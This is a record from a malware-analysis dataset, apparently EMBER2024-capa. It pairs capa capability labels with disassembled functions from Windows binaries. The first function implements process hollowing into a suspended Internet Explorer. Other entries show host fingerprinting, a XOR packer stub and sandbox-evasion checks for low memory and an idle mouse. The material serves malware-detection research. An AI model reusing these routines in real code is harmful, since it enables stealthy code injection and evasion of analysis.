joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403ecc
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
or dword [ebp - 4], 0xffffffff
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp edi, ebx
jne 0x403eea
mov edi, str.C:Program_FilesInternet_Exploreriexplore.exe
push 0x44
lea eax, [ebp - 0x58]
pop esi
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
mov dword [ebp - 0x58], esi
mov esi, dword [ebp + 0xc]
add esp, 0xc
mov dword [ebp - 0x324], 0x10007
mov dword [0x407764], esi
cmp word [esi], 0x5a4d
jne 0x404077
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [0x407768], eax
cmp dword [eax], 0x4550
jne 0x404077
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtUnmapViewOfSection
push eax
mov dword [0x4077a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
mov dword [0x407780], eax
je 0x404077
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404077
mov eax, dword [0x407768]
push dword [eax + 0x34]
push dword [ebp - 0x14]
call dword [0x407780]
mov eax, dword [0x407768]
push 0x40
push 0x3000
push dword [eax + 0x50]
push dword [eax + 0x34]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x404077
mov eax, dword [0x407768]
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push dword [eax + 0x54]
push esi
push dword [eax + 0x34]
push dword [ebp - 0x14]
call edi
test eax, eax
je 0x404077
mov ecx, dword [0x407768]
mov dword [ebp + 0xc], ebx
cmp word [ecx + 6], bx
jbe 0x404029
mov dword [ebp + 8], ebx
mov eax, dword [0x407764]
push ebx
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
lea eax, [eax + esi + 0xf8]
mov dword [0x40776c], eax
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add edx, esi
add eax, dword [ecx + 0x34]
push edx
push eax
push dword [ebp - 0x14]
call edi
test eax, eax
je 0x404077
mov ecx, dword [0x407768]
inc dword [ebp + 0xc]
add dword [ebp + 8], 0x28
movzx eax, word [ecx + 6]
cmp dword [ebp + 0xc], eax
jl 0x403fe2
lea eax, [ebp - 0x324]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x404077
mov eax, dword [0x407768]
mov ecx, dword [eax + 0x34]
add ecx, dword [eax + 0x28]
lea eax, [ebp - 0x324]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x274], ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x404077
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x404077
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404483
Capabilities:
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
lea eax, [ebp - 4]
mov dword [ebp - 8], 0xbeefdead
push eax
lea eax, [ebp - 0x408]
push eax
mov dword [ebp - 4], 0x400
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor ecx, ecx
cmp dword [ebp - 4], ecx
jbe 0x4044cc
mov dl, byte [ebp + ecx - 0x408]
mov eax, ecx
and eax, 3
xor byte [ebp + eax - 8], dl
lea eax, [ebp + eax - 8]
inc ecx
cmp ecx, dword [ebp - 4]
jb 0x4044b2
push dword [ebp - 8]
call fcn.0040445b
pop ecx
leave
ret

Function at 0x4044d7
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
push esi
push edi
push 0xa
mov esi, str.SoftwareMicrosoftWindowsCurrentVersion
pop ecx
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 8]
xor esi, esi
push eax
push 0x20019
lea eax, [ebp - 0x34]
push esi
push eax
push 0x80000002
mov dword [ebp - 4], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40451b
xor eax, eax
jmp 0x40456c
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x434]
push eax
push esi
push esi
push str.ProductId
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40455c
push dword [ebp - 4]
lea eax, [ebp - 0x434]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
add esp, 0xc
mov dword [eax], ecx
push 1
pop esi
jmp 0x404561
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x404570
Capabilities:
Encode data using xor
Get disk information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4bc
push esi
push edi
xor edi, edi
lea eax, [ebp - 4]
push edi
push edi
push edi
push edi
push eax
push edi
push edi
push 0x406e9c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push dword [ebp - 4]
lea eax, [ebp - 0x74]
push 0x406e98
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x4bc]
push eax
call fcn.004044d7
add esp, 0x14
call fcn.00404483
xor esi, esi
call fcn.00404465
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x20
mov byte [ebp + esi - 0x31], dl
jl 0x4045be
cmp dword [ebp - 8], edi
je 0x4045f3
xor ecx, ecx
mov eax, ecx
cdq
idiv dword [ebp - 8]
mov al, byte [ebp + edx - 0x4bc]
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x20
jl 0x4045dc
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
push 0x24
mov eax, ecx
xor edx, edx
pop esi
div esi
mov al, byte [ebp + edx - 0x54]
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x20
jl 0x4045ff
xor eax, eax
mov ecx, eax
and ecx, 3
mov cl, byte [ebp + ecx - 4]
xor byte [ebp + eax - 0x30], cl
inc eax
cmp eax, 0x20
jl 0x404618
xor esi, esi
lea edi, [ebp - 0xbc]
movzx eax, byte [ebp + esi - 0x30]
push eax
push str._02x
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
inc esi
inc edi
inc edi
cmp esi, 0x20
jl 0x404633
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xbc]
push 0x40
push eax
push esi
call sub.MSVCRT.dll_memcpy
and byte [esi + 0x40], 0
add esp, 0xc
and byte [esi + 0x32], 0
pop edi
pop esi
leave
ret

Function at 0x404671
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push esi
push edi
push 0x24
xor eax, eax
pop ecx
lea edi, [ebp - 0x90]
mov dword [ebp - 0x94], 0x94
push 6
rep stosd dword es:[edi], eax
pop esi
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 4
mov eax, dword [ebp - 0x8c]
jne 0x4046b8
test eax, eax
jne 0x4046f0
xor esi, esi
cmp dword [ebp - 0x90], 5
jne 0x4046d8
test eax, eax
jne 0x4046c8
push 1
pop esi
cmp eax, 1
jne 0x4046d0
push 2
pop esi
cmp eax, 2
jne 0x4046f0
push 3
pop esi
cmp dword [ebp - 0x90], 6
jne 0x4046f0
test eax, eax
jne 0x4046e8
push 5
pop esi
cmp eax, 1
jne 0x4046f0
push 6
pop esi
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x4073e2
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461134], 0
jne 0x407420
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4073f6
mov dword [ecx*4 + 0x461130], eax
inc ecx
cmp ecx, 0x100
jl 0x4073f1
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x40744d
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461130]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x40742e
not eax
pop ebp
ret 0xc

Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x67b07ca8
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x15713f84
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x402140
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48
mov eax, dword [0x42f040]
xor eax, esp
mov dword [esp + 0x44], eax
lea eax, [esp]
mov dword [esp], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xc]
shrd ecx, eax, 0x1e
shr eax, 0x1e
test eax, eax
ja 0x4021bd
jb 0x40217f
cmp ecx, 4
ja 0x4021bd
push eax
push ecx
mov edx, 0x42bae4
mov ecx, 0x430040
call fcn.00404010
mov ecx, eax
call fcn.00402530
mov edx, 0x42bae0
mov ecx, eax
call fcn.00404010
push eax
call fcn.004042b0
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.004076eb
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x44]
xor al, al
xor ecx, esp
call fcn.004076eb
mov esp, ebp
pop ebp
ret

Function at 0x4021d0
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov eax, dword [0x42f040]
xor eax, esp
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [esp + 4]
cmp eax, dword [esp + 0xc]
jne 0x402242
mov eax, dword [esp + 8]
cmp eax, dword [esp + 0x10]
jne 0x402242
mov edx, 0x42bafc
mov ecx, 0x430040
call fcn.00404010
push eax
call fcn.004042b0
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.004076eb
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x14]
xor al, al
xor ecx, esp
call fcn.004076eb
mov esp, ebp
pop ebp
ret
Function at 0x4068a4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
mov dword [ebp - 8], esi
test eax, eax
jg 0x4068c9
jl 0x4068c0
test ebx, ebx
jne 0x4068c9
xor eax, eax
xor edx, edx
jmp 0x406986
cmp dword [esi + 0x38], 0
je 0x4068de
push eax
push ebx
push dword [ebp + 8]
call fcn.0040698c
jmp 0x406986
mov eax, dword [esi + 0x1c]
push edi
mov edi, ebx
mov ecx, dword [eax]
test ecx, ecx
je 0x406921
mov eax, dword [esi + 0x2c]
cmp dword [eax], 0
jbe 0x406921
cmp dword [eax], ebx
mov esi, ebx
cmovb esi, dword [eax]
push esi
push ecx
push dword [ebp + 8]
call fcn.00408d20
mov ecx, dword [ebp - 8]
sub edi, esi
mov eax, dword [ebp + 8]
add esp, 0xc
add eax, esi
mov dword [ebp - 4], eax
mov eax, dword [ecx + 0x2c]
sub dword [eax], esi
mov eax, dword [ecx + 0x1c]
add dword [eax], esi
mov esi, ecx
jmp 0x406927
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [esi + 0x4c], 0
je 0x40697b
mov ecx, esi
call fcn.004060e7
mov ecx, dword [ebp - 4]
mov edx, edi
mov eax, 0xfff
cmp edi, eax
jbe 0x406966
push dword [esi + 0x4c]
push eax
push 1
push ecx
call fcn.0040eb85
mov ecx, dword [ebp - 4]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x40697b
jmp 0x406939
test edx, edx
je 0x40697b
push dword [esi + 0x4c]
push edi
push 1
push ecx
call fcn.0040eb85
add esp, 0x10
sub edi, eax
mov edx, dword [ebp + 0x10]
sub ebx, edi
mov eax, ebx
sbb edx, 0
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4079b0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x4079e5
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x4079e2
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x4079ee
add edx, 0x28
cmp edx, esi
jne 0x4079d0
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x4079eb

Function at 0x4084fd
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40853c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40853c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40853c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40853c
cmp dword [ecx + 0x74], 0xe
jbe 0x40853c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41628e
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4280c0
push 0x4280b8
push str.FlsAlloc
push 0x1f
call fcn.004160f9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4162c2
push dword [ebp + 8]
mov ecx, esi
call dword [0x424148]
call esi
jmp 0x4162c8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x41630c
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4280d0
push 0x4280c8
push str.FlsGetValue
push 0x21
call fcn.004160f9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x416343
push dword [ebp + 8]
mov ecx, esi
call dword [0x424148]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41634b
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4280d8
push 0x4280d0
push str.FlsSetValue
push 0x22
call fcn.004160f9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x416385
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x424148]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x417a61
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00408670
mov eax, dword [0x42f040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00414ae9
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x417aa3
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x417bff
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00422bd0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4309e0]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00418a5e
mov ecx, dword [esi*4 + 0x4309e0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x417bf8
cmp eax, dword [ecx + edi + 0x24]
jne 0x417bf8
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417bf8
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00418a5e
add esp, 0x14
test edx, edx
jl 0x417bf8
jg 0x417b6e
test eax, eax
jb 0x417bf8
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x417bf8
jl 0x417b88
cmp dword [ebp - 0x1008], eax
ja 0x417bf8
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x417ba6
test ebx, ebx
je 0x417bdf
cmp ecx, edi
jae 0x417bdf
mov al, byte [ecx]
cmp al, 0xd
jne 0x417bc0
lea eax, [edi - 1]
cmp ecx, eax
jae 0x417bcc
cmp byte [ecx + 1], 0xa
jne 0x417bcc
inc ecx
jmp 0x417bcc
movzx eax, al
movsx eax, byte [eax + 0x42f300]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x417ba6
cmp edx, ebx
jne 0x417ba6
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x417bfd
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004076eb
leave
ret
Function at 0x417ef6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4309e0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x417f36
cmp byte [ebx], 0xa
jne 0x417f36
or byte [edi + eax + 0x28], 4
jmp 0x417f3b
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x41803a
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41801d
inc eax
cmp dl, 0xd
je 0x417f67
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x417f8d
cmp eax, ecx
jae 0x417f9b
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x417f4f
jmp 0x41803a
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x418018
cmp dword [ebp - 0x10], 0
je 0x418018
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4309e0]
test byte [eax + edi + 0x28], 0x48
je 0x417ff2
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x417fdd
mov byte [esi], dl
jmp 0x417fee
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4309e0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41803a
cmp byte [ebp - 1], 0xa
jne 0x418001
cmp esi, ebx
jne 0x418001
mov byte [esi], 0xa
jmp 0x418039
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00418a7c
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41803a
mov byte [esi], 0xd
jmp 0x418039
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4309e0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x418037
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41803a
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x418043
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x4309e0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x418089
cmp word [ebx], dx
jne 0x418089
or byte [eax + edi + 0x28], 4
jmp 0x41808e
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4181f1
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x4181d1
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x4180cf
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x418105
cmp eax, edx
jae 0x418113
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x4180aa
jmp 0x4181f1
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4181cc
cmp dword [ebp - 0x18], 0
je 0x4181cc
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x4309e0]
test byte [eax + edi + 0x28], 0x48
je 0x4181a2
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x418166
mov word [esi], cx
jmp 0x41819d
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x4309e0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x4309e0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x4309e0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4181f1
pop eax
cmp word [ebp - 4], ax
jne 0x4181b2
cmp esi, ebx
jne 0x4181b2
mov word [esi], ax
jmp 0x4181ee
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00418a7c
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4181f1
push 0xd
pop eax
jmp 0x4181ad
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x4309e0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4181eb
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4181f1
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41b1b5
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41b252
push ebx
push esi
call fcn.0041b17e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00419e70
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41b1ff
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41b251
push edi
push eax
call fcn.00413be9
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41b21f
call fcn.00413baf
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41b250
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00419e70
add esp, 0x20
test eax, eax
jne 0x41b23e
push edi
call fcn.00413baf
jmp 0x41b246
push ebx
call fcn.00413baf
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41d87f
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00414f8a
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41d8ee
cmp esi, dword [ebp - 4]
je 0x41d8e9
cmp dword [ebp + 0xc], 0
je 0x41d8e9
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x41d8c6
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0041d3d1
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x41d8f0
xor eax, eax
inc eax
jmp 0x41d8f0
xor eax, eax
pop edi
pop esi
leave
ret